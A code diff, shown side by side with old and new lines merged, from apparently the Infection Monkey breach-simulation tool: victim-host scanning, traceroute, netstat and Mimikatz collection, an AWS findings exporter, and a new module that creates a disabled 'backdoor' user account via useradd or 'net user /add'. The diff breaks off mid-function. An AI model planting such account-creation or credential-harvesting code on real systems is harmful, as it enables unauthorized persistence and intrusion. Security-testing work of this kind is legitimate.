__author__ = 'itamar' __author__ = 'itamar'
@ -62,7 +63,7 @@ class NetworkScanner(object):
return subnets_to_scan return subnets_to_scan
def get_victim_machines(self, scan_type, max_find=5, stop_callback=None): def get_victim_machines(self, max_find=5, stop_callback=None):
""" """
Finds machines according to the ranges specified in the object Finds machines according to the ranges specified in the object
:param scan_type: A hostscanner class, will be instanced and used to scan for new machines :param scan_type: A hostscanner class, will be instanced and used to scan for new machines
@ -70,16 +71,18 @@ class NetworkScanner(object):
:param stop_callback: A callback to check at any point if we should stop scanning :param stop_callback: A callback to check at any point if we should stop scanning
:return: yields a sequence of VictimHost instances :return: yields a sequence of VictimHost instances
""" """
if not scan_type:
return
scanner = scan_type() TCPscan = TcpScanner()
Pinger = PingScanner()
victims_count = 0 victims_count = 0
for net_range in self._ranges: for net_range in self._ranges:
LOG.debug("Scanning for potential victims in the network %r", net_range) LOG.debug("Scanning for potential victims in the network %r", net_range)
for ip_addr in net_range: for ip_addr in net_range:
victim = VictimHost(ip_addr) if hasattr(net_range, 'domain_name'):
victim = VictimHost(ip_addr, net_range.domain_name)
else:
victim = VictimHost(ip_addr)
if stop_callback and stop_callback(): if stop_callback and stop_callback():
LOG.debug("Got stop signal") LOG.debug("Got stop signal")
break break
@ -94,9 +97,11 @@ class NetworkScanner(object):
continue continue
LOG.debug("Scanning %r...", victim) LOG.debug("Scanning %r...", victim)
pingAlive = Pinger.is_host_alive(victim)
tcpAlive = TCPscan.is_host_alive(victim)
# if scanner detect machine is up, add it to victims list # if scanner detect machine is up, add it to victims list
if scanner.is_host_alive(victim): if pingAlive or tcpAlive:
LOG.debug("Found potential victim: %r", victim) LOG.debug("Found potential victim: %r", victim)
victims_count += 1 victims_count += 1
yield victim yield victim
@ -106,8 +111,9 @@ class NetworkScanner(object):
break break
if SCAN_DELAY: if WormConfiguration.tcp_scan_interval:
time.sleep(SCAN_DELAY) # time.sleep uses seconds, while config is in milliseconds
time.sleep(WormConfiguration.tcp_scan_interval/float(1000))
@staticmethod @staticmethod
def _is_any_ip_in_subnet(ip_addresses, subnet_str): def _is_any_ip_in_subnet(ip_addresses, subnet_str):

View File

@ -59,9 +59,9 @@ class PingScanner(HostScanner, HostFinger):
if regex_result: if regex_result:
try: try:
ttl = int(regex_result.group(0)) ttl = int(regex_result.group(0))
if LINUX_TTL == ttl: if ttl <= LINUX_TTL:
host.os['type'] = 'linux' host.os['type'] = 'linux'
elif WINDOWS_TTL == ttl: else: # as far we we know, could also be OSX/BSD but lets handle that when it comes up.
host.os['type'] = 'windows' host.os['type'] = 'windows'
return True return True
except Exception as exc: except Exception as exc:

View File

@ -9,9 +9,13 @@ import re
from six.moves import range from six.moves import range
from infection_monkey.pyinstaller_utils import get_binary_file_path
from infection_monkey.utils import is_64bit_python
DEFAULT_TIMEOUT = 10 DEFAULT_TIMEOUT = 10
BANNER_READ = 1024 BANNER_READ = 1024
IP_ADDR_RE = r'[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' IP_ADDR_RE = r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}'
IP_ADDR_PARENTHESES_RE = r'\(' + IP_ADDR_RE + r'\)'
LOG = logging.getLogger(__name__) LOG = logging.getLogger(__name__)
SLEEP_BETWEEN_POLL = 0.5 SLEEP_BETWEEN_POLL = 0.5
@ -175,9 +179,10 @@ def tcp_port_to_service(port):
return 'tcp-' + str(port) return 'tcp-' + str(port)
def traceroute(target_ip, ttl): def traceroute(target_ip, ttl=64):
""" """
Traceroute for a specific IP/name. Traceroute for a specific IP/name.
Note, may throw exception on failure that should be handled by caller.
:param target_ip: IP/name of target :param target_ip: IP/name of target
:param ttl: Max TTL :param ttl: Max TTL
:return: Sequence of IPs in the way :return: Sequence of IPs in the way
@ -188,6 +193,53 @@ def traceroute(target_ip, ttl):
return _traceroute_linux(target_ip, ttl) return _traceroute_linux(target_ip, ttl)
def _get_traceroute_bin_path():
"""
Gets the path to the prebuilt traceroute executable
This is the traceroute utility from: http://traceroute.sourceforge.net
Its been built using the buildroot utility with the following settings:
* Statically link to musl and all other required libs
* Optimize for size
This is done because not all linux distros come with traceroute out-of-the-box, and to ensure it behaves as expected
:return: Path to traceroute executable
"""
return get_binary_file_path("traceroute64" if is_64bit_python() else "traceroute32")
def _parse_traceroute(output, regex, ttl):
"""
Parses the output of traceroute (from either Linux or Windows)
:param output: The output of the traceroute
:param regex: Regex for finding an IP address
:param ttl: Max TTL. Must be the same as the TTL used as param for traceroute.
:return: List of ips which are the hops on the way to the traceroute destination.
If a hop's IP wasn't found by traceroute, instead of an IP, the array will contain None
"""
ip_lines = output.split('\n')
trace_list = []
first_line_index = None
for i in range(len(ip_lines)):
if re.search(r'^\s*1', ip_lines[i]) is not None:
first_line_index = i
break
for i in range(first_line_index, first_line_index + ttl):
if re.search(r'^\s*' + str(i - first_line_index + 1), ip_lines[i]) is None: # If trace is finished
break
re_res = re.search(regex, ip_lines[i])
if re_res is None:
ip_addr = None
else:
ip_addr = re_res.group()
trace_list.append(ip_addr)
return trace_list
def _traceroute_windows(target_ip, ttl): def _traceroute_windows(target_ip, ttl):
""" """
Traceroute for a specific IP/name - Windows implementation Traceroute for a specific IP/name - Windows implementation
@ -200,59 +252,22 @@ def _traceroute_windows(target_ip, ttl):
target_ip] target_ip]
proc_obj = subprocess.Popen(cli, stdout=subprocess.PIPE) proc_obj = subprocess.Popen(cli, stdout=subprocess.PIPE)
stdout, stderr = proc_obj.communicate() stdout, stderr = proc_obj.communicate()
ip_lines = stdout.split('\r\n') stdout = stdout.replace('\r', '')
trace_list = [] return _parse_traceroute(stdout, IP_ADDR_RE, ttl)
first_line_index = None
for i in range(len(ip_lines)):
if re.search(r'^\s*1', ip_lines[i]) is not None:
first_line_index = i
break
for i in range(first_line_index, first_line_index + ttl):
if re.search(r'^\s*' + str(i - first_line_index + 1), ip_lines[i]) is None: # If trace is finished
break
re_res = re.search(IP_ADDR_RE, ip_lines[i])
if re_res is None:
ip_addr = None
else:
ip_addr = re_res.group()
trace_list.append(ip_addr)
return trace_list
def _traceroute_linux(target_ip, ttl): def _traceroute_linux(target_ip, ttl):
""" """
Traceroute for a specific IP/name - Linux implementation Traceroute for a specific IP/name - Linux implementation
""" """
# implementation note: We're currently going to just use ping.
# reason is, implementing a non root requiring user is complicated (see traceroute(8) code)
# while this is just ugly
# we can't use traceroute because it's not always installed
current_ttl = 1
trace_list = []
while current_ttl <= ttl:
cli = ["ping",
"-c", "1",
"-w", "1",
"-t", str(current_ttl),
target_ip]
proc_obj = subprocess.Popen(cli, stdout=subprocess.PIPE)
stdout, stderr = proc_obj.communicate()
ips = re.findall(IP_ADDR_RE, stdout)
if len(ips) < 2: # Unexpected output. Fail the whole thing since it's not reliable.
return []
elif ips[-1] in trace_list: # Failed getting this hop
trace_list.append(None)
else:
trace_list.append(ips[-1])
dest_ip = ips[0] # first ip is dest ip. must be parsed here since it can change between pings
if dest_ip == ips[-1]: cli = [_get_traceroute_bin_path(),
break "-m", str(ttl),
target_ip]
proc_obj = subprocess.Popen(cli, stdout=subprocess.PIPE)
stdout, stderr = proc_obj.communicate()
current_ttl += 1 lines = _parse_traceroute(stdout, IP_ADDR_PARENTHESES_RE, ttl)
lines = [x[1:-1] if x else None # Removes parenthesis
return trace_list for x in lines]
return lines

View File

@ -0,0 +1,4 @@
__author__ = 'danielg'
from add_user import BackdoorUser

View File

@ -0,0 +1,49 @@
import datetime
import logging
import subprocess
import sys
from infection_monkey.config import WormConfiguration
LOG = logging.getLogger(__name__)
# Linux doesn't have WindowsError
try:
WindowsError
except NameError:
WindowsError = None
__author__ = 'danielg'
class BackdoorUser(object):
"""
This module adds a disabled user to the system.
This tests part of the ATT&CK matrix
"""
def act(self):
LOG.info("Adding a user")
if sys.platform.startswith("win"):
retval = self.add_user_windows()
else:
retval = self.add_user_linux()
if retval != 0:
LOG.warn("Failed to add a user")
else:
LOG.info("Done adding user")
@staticmethod
def add_user_linux():
cmd_line = ['useradd', '-M', '--expiredate',
datetime.datetime.today().strftime('%Y-%m-%d'), '--inactive', '0', '-c', 'MONKEY_USER',
WormConfiguration.user_to_add]
retval = subprocess.call(cmd_line)
return retval
@staticmethod
def add_user_windows():
cmd_line = ['net', 'user', WormConfiguration.user_to_add,
WormConfiguration.remote_user_pass,
'/add', '/ACTIVE:NO']
retval = subprocess.call(cmd_line)
return retval

View File

@ -1,4 +1,5 @@
How to build a monkey binary from scratch. To get development versions of Monkey Island and Monkey look into deployment scripts folder.
If you only want to build monkey from scratch you may reference instructions below.
The monkey is composed of three separate parts. The monkey is composed of three separate parts.
* The Infection Monkey itself - PyInstaller compressed python archives * The Infection Monkey itself - PyInstaller compressed python archives

View File

@ -15,3 +15,6 @@ ecdsa
netifaces netifaces
ipaddress ipaddress
wmi wmi
pywin32
pymssql
pyftpdlib

View File

@ -8,6 +8,7 @@ from enum import IntEnum
from infection_monkey.network.info import get_host_subnets from infection_monkey.network.info import get_host_subnets
from infection_monkey.system_info.aws_collector import AwsCollector from infection_monkey.system_info.aws_collector import AwsCollector
from infection_monkey.system_info.azure_cred_collector import AzureCollector from infection_monkey.system_info.azure_cred_collector import AzureCollector
from infection_monkey.system_info.netstat_collector import NetstatCollector
LOG = logging.getLogger(__name__) LOG = logging.getLogger(__name__)
@ -107,12 +108,16 @@ class InfoCollector(object):
def get_network_info(self): def get_network_info(self):
""" """
Adds network information from the host to the system information. Adds network information from the host to the system information.
Currently updates with a list of networks accessible from host, Currently updates with netstat and a list of networks accessible from host
containing host ip and the subnet range. containing host ip and the subnet range
:return: None. Updates class information :return: None. Updates class information
""" """
LOG.debug("Reading subnets") LOG.debug("Reading subnets")
self.info['network_info'] = {'networks': get_host_subnets()} self.info['network_info'] =\
{
'networks': get_host_subnets(),
'netstat': NetstatCollector.get_netstat_info()
}
def get_azure_info(self): def get_azure_info(self):
""" """

View File

@ -0,0 +1,44 @@
# Inspired by Giampaolo Rodola's psutil example from https://github.com/giampaolo/psutil/blob/master/scripts/netstat.py
import logging
import psutil
import socket
from socket import AF_INET, SOCK_STREAM, SOCK_DGRAM
__author__ = 'itay.mizeretz'
LOG = logging.getLogger(__name__)
class NetstatCollector(object):
"""
Extract netstat info
"""
AF_INET6 = getattr(socket, 'AF_INET6', object())
proto_map = {
(AF_INET, SOCK_STREAM): 'tcp',
(AF_INET6, SOCK_STREAM): 'tcp6',
(AF_INET, SOCK_DGRAM): 'udp',
(AF_INET6, SOCK_DGRAM): 'udp6',
}
@staticmethod
def get_netstat_info():
LOG.info("Collecting netstat info")
return [NetstatCollector._parse_connection(c) for c in psutil.net_connections(kind='inet')]
@staticmethod
def _parse_connection(c):
return \
{
'proto': NetstatCollector.proto_map[(c.family, c.type)],
'local_address': c.laddr[0],
'local_port': c.laddr[1],
'remote_address': c.raddr[0] if c.raddr else None,
'remote_port': c.raddr[1] if c.raddr else None,
'status': c.status,
'pid': c.pid
}

View File

@ -2,7 +2,7 @@ import os
import logging import logging
import sys import sys
sys.coinit_flags = 0 # needed for proper destruction of the wmi python module sys.coinit_flags = 0 # needed for proper destruction of the wmi python module
import infection_monkey.config import infection_monkey.config
from infection_monkey.system_info.mimikatz_collector import MimikatzCollector from infection_monkey.system_info.mimikatz_collector import MimikatzCollector
@ -36,9 +36,11 @@ class WindowsInfoCollector(InfoCollector):
""" """
LOG.debug("Running Windows collector") LOG.debug("Running Windows collector")
super(WindowsInfoCollector, self).get_info() super(WindowsInfoCollector, self).get_info()
self.get_wmi_info() #self.get_wmi_info()
self.get_installed_packages() self.get_installed_packages()
self.get_mimikatz_info() from infection_monkey.config import WormConfiguration
if WormConfiguration.should_use_mimikatz:
self.get_mimikatz_info()
return self.info return self.info

View File

@ -0,0 +1,19 @@
from cc.environment.environment import load_env_from_file, AWS
from cc.report_exporter_manager import ReportExporterManager
from cc.resources.aws_exporter import AWSExporter
__author__ = 'maor.rayzin'
def populate_exporter_list():
manager = ReportExporterManager()
if is_aws_exporter_required():
manager.add_exporter_to_list(AWSExporter)
def is_aws_exporter_required():
if str(load_env_from_file()) == AWS:
return True
else:
return False

View File

@ -18,6 +18,7 @@ json_setup_logging(default_path=os.path.join(BASE_PATH, 'cc', 'island_logger_def
logger = logging.getLogger(__name__) logger = logging.getLogger(__name__)
from cc.app import init_app from cc.app import init_app
from cc.exporter_init import populate_exporter_list
from cc.utils import local_ip_addresses from cc.utils import local_ip_addresses
from cc.environment.environment import env from cc.environment.environment import env
from cc.database import is_db_server_up from cc.database import is_db_server_up
@ -34,6 +35,7 @@ def main():
logger.info('Waiting for MongoDB server') logger.info('Waiting for MongoDB server')
time.sleep(1) time.sleep(1)
populate_exporter_list()
app = init_app(mongo_url) app = init_app(mongo_url)
if env.is_debug(): if env.is_debug():
app.run(host='0.0.0.0', debug=True, ssl_context=('monkey_island/cc/server.crt', 'monkey_island/cc/server.key')) app.run(host='0.0.0.0', debug=True, ssl_context=('monkey_island/cc/server.crt', 'monkey_island/cc/server.key'))
@ -44,6 +46,7 @@ def main():
http_server.listen(env.get_island_port()) http_server.listen(env.get_island_port())
logger.info( logger.info(
'Monkey Island Server is running on https://{}:{}'.format(local_ip_addresses()[0], env.get_island_port())) 'Monkey Island Server is running on https://{}:{}'.format(local_ip_addresses()[0], env.get_island_port()))
IOLoop.instance().start() IOLoop.instance().start()

View File

@ -0,0 +1,34 @@
import logging
__author__ = 'maor.rayzin'
logger = logging.getLogger(__name__)
class Singleton(type):
_instances = {}
def __call__(cls, *args, **kwargs):
if cls not in cls._instances:
cls._instances[cls] = super(Singleton, cls).__call__(*args, **kwargs)
return cls._instances[cls]
class ReportExporterManager(object):
__metaclass__ = Singleton
def __init__(self):
self._exporters_set = set()
def get_exporters_list(self):
return self._exporters_set
def add_exporter_to_list(self, exporter):
self._exporters_set.add(exporter)
def export(self, report):
try:
for exporter in self._exporters_set:
exporter().handle_report(report)
except Exception as e:
logger.exception('Failed to export report')

View File

@ -9,6 +9,9 @@ from cc.services.config import ConfigService
from cc.environment.environment import load_server_configuration_from_file from cc.environment.environment import load_server_configuration_from_file
from common.cloud.aws_instance import AwsInstance from common.cloud.aws_instance import AwsInstance
__author__ = 'maor.rayzin'
logger = logging.getLogger(__name__) logger = logging.getLogger(__name__)
AWS_CRED_CONFIG_KEYS = [['cnc', 'aws_config', 'aws_access_key_id'], AWS_CRED_CONFIG_KEYS = [['cnc', 'aws_config', 'aws_access_key_id'],
@ -87,6 +90,7 @@ class AWSExporter(Exporter):
"ProductArn": product_arn, "ProductArn": product_arn,
"GeneratorId": issue['type'], "GeneratorId": issue['type'],
"AwsAccountId": account_id, "AwsAccountId": account_id,
"RecordState": "ACTIVE",
"Types": [ "Types": [
"Software and Configuration Checks/Vulnerabilities/CVE" "Software and Configuration Checks/Vulnerabilities/CVE"
], ],
@ -120,488 +124,288 @@ class AWSExporter(Exporter):
return False return False
@staticmethod @staticmethod
def _handle_tunnel_issue(issue, instance_arn): def _get_finding_resource(instance_id, instance_arn):
finding = \ if instance_id:
{"Severity": { return [{
"Product": 5,
"Normalized": 100
}, "RecordState": "ACTIVE",
"Title": "Weak segmentation - Machines were able to communicate over unused ports.",
"Description": "Use micro-segmentation policies to disable communication other than the required.",
"Remediation": {
"Recommendation": {
"Text": "Machines are not locked down at port level. Network tunnel was set up from {0} to {1}"
.format(issue['machine'], issue['dest'])
}
}}
if 'aws_instance_id' in issue:
finding["Resources"] = [{
"Type": "AwsEc2Instance", "Type": "AwsEc2Instance",
"Id": instance_arn.format(instance_id=issue['aws_instance_id']) "Id": instance_arn.format(instance_id=instance_id)
}] }]
else: else:
finding["Resources"] = [{'Type': 'Other'}] return [{'Type': 'Other', 'Id': 'None'}]
@staticmethod
def _build_generic_finding(severity, title, description, recommendation, instance_arn, instance_id=None):
finding = {
"Severity": {
"Product": severity,
"Normalized": 100
},
'Resources': AWSExporter._get_finding_resource(instance_id, instance_arn),
"Title": title,
"Description": description,
"Remediation": {
"Recommendation": {
"Text": recommendation
}
}}
return finding return finding
@staticmethod
def _handle_tunnel_issue(issue, instance_arn):
return AWSExporter._build_generic_finding(
severity=5,
title="Weak segmentation - Machines were able to communicate over unused ports.",
description="Use micro-segmentation policies to disable communication other than the required.",
recommendation="Machines are not locked down at port level. Network tunnel was set up from {0} to {1}"
.format(issue['machine'], issue['dest']),
instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
)
@staticmethod @staticmethod
def _handle_sambacry_issue(issue, instance_arn): def _handle_sambacry_issue(issue, instance_arn):
finding = \
{"Severity": {
"Product": 10,
"Normalized": 100
}, "RecordState": "ACTIVE", "Title": "Samba servers are vulnerable to 'SambaCry'",
"Description": "Change {0} password to a complex one-use password that is not shared with other computers on the network. Update your Samba server to 4.4.14 and up, 4.5.10 and up, or 4.6.4 and up." \
.format(issue['username']), "Remediation": {
"Recommendation": {
"Text": "The machine {0} ({1}) is vulnerable to a SambaCry attack. The Monkey authenticated over the SMB protocol with user {2} and its password, and used the SambaCry vulnerability.".format(
issue['machine'], issue['ip_address'], issue['username'])
}
}}
if 'aws_instance_id' in issue: return AWSExporter._build_generic_finding(
finding["Resources"] = [{ severity=10,
"Type": "AwsEc2Instance", title="Samba servers are vulnerable to 'SambaCry'",
"Id": instance_arn.format(instance_id=issue['aws_instance_id']) description="Change {0} password to a complex one-use password that is not shared with other computers on the network. Update your Samba server to 4.4.14 and up, 4.5.10 and up, or 4.6.4 and up." \
}] .format(issue['username']),
else: recommendation="The machine {0} ({1}) is vulnerable to a SambaCry attack. The Monkey authenticated over the SMB protocol with user {2} and its password, and used the SambaCry vulnerability.".format(
finding["Resources"] = [{'Type': 'Other'}] issue['machine'], issue['ip_address'], issue['username']),
instance_arn=instance_arn,
return finding instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
)
@staticmethod @staticmethod
def _handle_smb_pth_issue(issue, instance_arn): def _handle_smb_pth_issue(issue, instance_arn):
finding = \
{"Severity": {
"Product": 5,
"Normalized": 100
}, "RecordState": "ACTIVE",
"Title": "Machines are accessible using passwords supplied by the user during the Monkey's configuration.",
"Description": "Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format(
issue['username']), "Remediation": {
"Recommendation": {
"Text": "The machine {0}({1}) is vulnerable to a SMB attack. The Monkey used a pass-the-hash attack over SMB protocol with user {2}.".format(
issue['machine'], issue['ip_address'], issue['username'])
}
}}
if 'aws_instance_id' in issue: return AWSExporter._build_generic_finding(
finding["Resources"] = [{ severity=5,
"Type": "AwsEc2Instance", title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.",
"Id": instance_arn.format(instance_id=issue['aws_instance_id']) description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format(
}] issue['username']),
else: recommendation="The machine {0}({1}) is vulnerable to a SMB attack. The Monkey used a pass-the-hash attack over SMB protocol with user {2}.".format(
finding["Resources"] = [{'Type': 'Other'}] issue['machine'], issue['ip_address'], issue['username']),
instance_arn=instance_arn,
return finding instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
)
@staticmethod @staticmethod
def _handle_ssh_issue(issue, instance_arn): def _handle_ssh_issue(issue, instance_arn):
finding = \
{"Severity": {
"Product": 1,
"Normalized": 100
}, "RecordState": "ACTIVE",
"Title": "Machines are accessible using SSH passwords supplied by the user during the Monkey's configuration.",
"Description": "Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format(
issue['username']), "Remediation": {
"Recommendation": {
"Text": "The machine {0} ({1}) is vulnerable to a SSH attack. The Monkey authenticated over the SSH protocol with user {2} and its password.".format(
issue['machine'], issue['ip_address'], issue['username'])
}
}}
if 'aws_instance_id' in issue: return AWSExporter._build_generic_finding(
finding["Resources"] = [{ severity=1,
"Type": "AwsEc2Instance", title="Machines are accessible using SSH passwords supplied by the user during the Monkey's configuration.",
"Id": instance_arn.format(instance_id=issue['aws_instance_id']) description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format(
}] issue['username']),
else: recommendation="The machine {0} ({1}) is vulnerable to a SSH attack. The Monkey authenticated over the SSH protocol with user {2} and its password.".format(
finding["Resources"] = [{'Type': 'Other'}] issue['machine'], issue['ip_address'], issue['username']),
instance_arn=instance_arn,
return finding instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
)
@staticmethod @staticmethod
def _handle_ssh_key_issue(issue, instance_arn): def _handle_ssh_key_issue(issue, instance_arn):
finding = \
{"Severity": {
"Product": 1,
"Normalized": 100
}, "RecordState": "ACTIVE",
"Title": "Machines are accessible using SSH passwords supplied by the user during the Monkey's configuration.",
"Description": "Protect {ssh_key} private key with a pass phrase.".format(ssh_key=issue['ssh_key']),
"Remediation": {
"Recommendation": {
"Text": "The machine {machine} ({ip_address}) is vulnerable to a SSH attack. The Monkey authenticated over the SSH protocol with private key {ssh_key}.".format(
machine=issue['machine'], ip_address=issue['ip_address'], ssh_key=issue['ssh_key'])
}
}}
if 'aws_instance_id' in issue: return AWSExporter._build_generic_finding(
finding["Resources"] = [{ severity=1,
"Type": "AwsEc2Instance", title="Machines are accessible using SSH passwords supplied by the user during the Monkey's configuration.",
"Id": instance_arn.format(instance_id=issue['aws_instance_id']) description="Protect {ssh_key} private key with a pass phrase.".format(ssh_key=issue['ssh_key']),
}] recommendation="The machine {machine} ({ip_address}) is vulnerable to a SSH attack. The Monkey authenticated over the SSH protocol with private key {ssh_key}.".format(
else: machine=issue['machine'], ip_address=issue['ip_address'], ssh_key=issue['ssh_key']),
finding["Resources"] = [{'Type': 'Other'}] instance_arn=instance_arn,
return finding instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
)
@staticmethod @staticmethod
def _handle_elastic_issue(issue, instance_arn): def _handle_elastic_issue(issue, instance_arn):
finding = \
{"Severity": {
"Product": 10,
"Normalized": 100
}, "RecordState": "ACTIVE", "Title": "Elasticsearch servers are vulnerable to CVE-2015-1427",
"Description": "Update your Elastic Search server to version 1.4.3 and up.", "Remediation": {
"Recommendation": {
"Text": "The machine {0}({1}) is vulnerable to an Elastic Groovy attack. The attack was made possible because the Elastic Search server was not patched against CVE-2015-1427.".format(
issue['machine'], issue['ip_address'])
}
}}
if 'aws_instance_id' in issue: return AWSExporter._build_generic_finding(
finding["Resources"] = [{ severity=10,
"Type": "AwsEc2Instance", title="Elastic Search servers are vulnerable to CVE-2015-1427",
"Id": instance_arn.format(instance_id=issue['aws_instance_id']) description="Update your Elastic Search server to version 1.4.3 and up.",
}] recommendation="The machine {0}({1}) is vulnerable to an Elastic Groovy attack. The attack was made possible because the Elastic Search server was not patched against CVE-2015-1427.".format(
else: issue['machine'], issue['ip_address']),
finding["Resources"] = [{'Type': 'Other'}] instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
return finding )
@staticmethod @staticmethod
def _handle_island_cross_segment_issue(issue, instance_arn): def _handle_island_cross_segment_issue(issue, instance_arn):
finding = \
{"Severity": { return AWSExporter._build_generic_finding(
"Product": 1, severity=1,
"Normalized": 100 title="Weak segmentation - Machines from different segments are able to communicate.",
}, "RecordState": "ACTIVE", description="Segment your network and make sure there is no communication between machines from different segments.",
"Title": "Weak segmentation - Machines from different segments are able to communicate.", recommendation="The network can probably be segmented. A monkey instance on \
"Description": "Segment your network and make sure there is no communication between machines from different segments.",
"Remediation": {
"Recommendation": {
"Text": "The network can probably be segmented. A monkey instance on \
{0} in the networks {1} \ {0} in the networks {1} \
could directly access the Monkey Island server in the networks {2}.".format(issue['machine'], could directly access the Monkey Island server in the networks {2}.".format(issue['machine'],
issue['networks'], issue['networks'],
issue['server_networks']) issue['server_networks']),
} instance_arn=instance_arn,
}} instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
)
if 'aws_instance_id' in issue:
finding["Resources"] = [{
"Type": "AwsEc2Instance",
"Id": instance_arn.format(instance_id=issue['aws_instance_id'])
}]
else:
finding["Resources"] = [{'Type': 'Other'}]
return finding
@staticmethod @staticmethod
def _handle_shared_passwords_issue(issue, instance_arn): def _handle_shared_passwords_issue(issue, instance_arn):
finding = \
{"Severity": {
"Product": 1,
"Normalized": 100
}, "RecordState": "ACTIVE", "Title": "Multiple users have the same password",
"Description": "Some users are sharing passwords, this should be fixed by changing passwords.",
"Remediation": {
"Recommendation": {
"Text": "These users are sharing access password: {0}.".format(issue['shared_with'])
}
}}
if 'aws_instance_id' in issue: return AWSExporter._build_generic_finding(
finding["Resources"] = [{ severity=1,
"Type": "AwsEc2Instance", title="Multiple users have the same password",
"Id": instance_arn.format(instance_id=issue['aws_instance_id']) description="Some users are sharing passwords, this should be fixed by changing passwords.",
}] recommendation="These users are sharing access password: {0}.".format(issue['shared_with']),
else: instance_arn=instance_arn,
finding["Resources"] = [{'Type': 'Other'}] instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
)
return finding
@staticmethod @staticmethod
def _handle_shellshock_issue(issue, instance_arn): def _handle_shellshock_issue(issue, instance_arn):
finding = \
{"Severity": {
"Product": 10,
"Normalized": 100
}, "RecordState": "ACTIVE", "Title": "Machines are vulnerable to 'Shellshock'",
"Description": "Update your Bash to a ShellShock-patched version.", "Remediation": {
"Recommendation": {
"Text": "The machine {0} ({1}) is vulnerable to a ShellShock attack. "
"The attack was made possible because the HTTP server running on TCP port {2} was vulnerable to a shell injection attack on the paths: {3}.".format(
issue['machine'], issue['ip_address'], issue['port'], issue['paths'])
}
}}
if 'aws_instance_id' in issue: return AWSExporter._build_generic_finding(
finding["Resources"] = [{ severity=10,
"Type": "AwsEc2Instance", title="Machines are vulnerable to 'Shellshock'",
"Id": instance_arn.format(instance_id=issue['aws_instance_id']) description="Update your Bash to a ShellShock-patched version.",
}] recommendation="The machine {0} ({1}) is vulnerable to a ShellShock attack. "
else: "The attack was made possible because the HTTP server running on TCP port {2} was vulnerable to a shell injection attack on the paths: {3}.".format(
finding["Resources"] = [{'Type': 'Other'}] issue['machine'], issue['ip_address'], issue['port'], issue['paths']),
instance_arn=instance_arn,
return finding instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
)
@staticmethod @staticmethod
def _handle_smb_password_issue(issue, instance_arn): def _handle_smb_password_issue(issue, instance_arn):
finding = \
{"Severity": {
"Product": 1,
"Normalized": 100
}, "RecordState": "ACTIVE",
"Title": "Machines are accessible using passwords supplied by the user during the Monkey's configuration.",
"Description": "Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format(
issue['username']), "Remediation": {
"Recommendation": {
"Text": "The machine {0} ({1}) is vulnerable to a SMB attack. The Monkey authenticated over the SMB protocol with user {2} and its password.".format(
issue['machine'], issue['ip_address'], issue['username'])
}
}}
if 'aws_instance_id' in issue: return AWSExporter._build_generic_finding(
finding["Resources"] = [{ severity=1,
"Type": "AwsEc2Instance", title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.",
"Id": instance_arn.format(instance_id=issue['aws_instance_id']) description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format(
}] issue['username']),
else: recommendation="The machine {0} ({1}) is vulnerable to a SMB attack. The Monkey authenticated over the SMB protocol with user {2} and its password.".format(
finding["Resources"] = [{'Type': 'Other'}] issue['machine'], issue['ip_address'], issue['username']),
instance_arn=instance_arn,
return finding instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
)
@staticmethod @staticmethod
def _handle_wmi_password_issue(issue, instance_arn): def _handle_wmi_password_issue(issue, instance_arn):
finding = \
{"Severity": {
"Product": 1,
"Normalized": 100
}, "RecordState": "ACTIVE",
"Title": "Machines are accessible using passwords supplied by the user during the Monkey's configuration.",
"Description": "Change {0}'s password to a complex one-use password that is not shared with other computers on the network.",
"Remediation": {
"Recommendation": {
"Text": "The machine machine ({ip_address}) is vulnerable to a WMI attack. The Monkey authenticated over the WMI protocol with user {username} and its password.".format(
machine=issue['machine'], ip_address=issue['ip_address'], username=issue['username'])
}
}}
if 'aws_instance_id' in issue: return AWSExporter._build_generic_finding(
finding["Resources"] = [{ severity=1,
"Type": "AwsEc2Instance", title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.",
"Id": instance_arn.format(instance_id=issue['aws_instance_id']) description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.",
}] recommendation="The machine machine ({ip_address}) is vulnerable to a WMI attack. The Monkey authenticated over the WMI protocol with user {username} and its password.".format(
else: machine=issue['machine'], ip_address=issue['ip_address'], username=issue['username']),
finding["Resources"] = [{'Type': 'Other'}] instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
return finding )
@staticmethod @staticmethod
def _handle_wmi_pth_issue(issue, instance_arn): def _handle_wmi_pth_issue(issue, instance_arn):
finding = \
{"Severity": {
"Product": 1,
"Normalized": 100
}, "RecordState": "ACTIVE",
"Title": "Machines are accessible using passwords supplied by the user during the Monkey's configuration.",
"Description": "Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format(
issue['username']), "Remediation": {
"Recommendation": {
"Text": "The machine machine ({ip_address}) is vulnerable to a WMI attack. The Monkey used a pass-the-hash attack over WMI protocol with user {username}".format(
machine=issue['machine'], ip_address=issue['ip_address'], username=issue['username'])
}
}}
if 'aws_instance_id' in issue: return AWSExporter._build_generic_finding(
finding["Resources"] = [{ severity=1,
"Type": "AwsEc2Instance", title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.",
"Id": instance_arn.format(instance_id=issue['aws_instance_id']) description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format(
}] issue['username']),
else: recommendation="The machine machine ({ip_address}) is vulnerable to a WMI attack. The Monkey used a pass-the-hash attack over WMI protocol with user {username}".format(
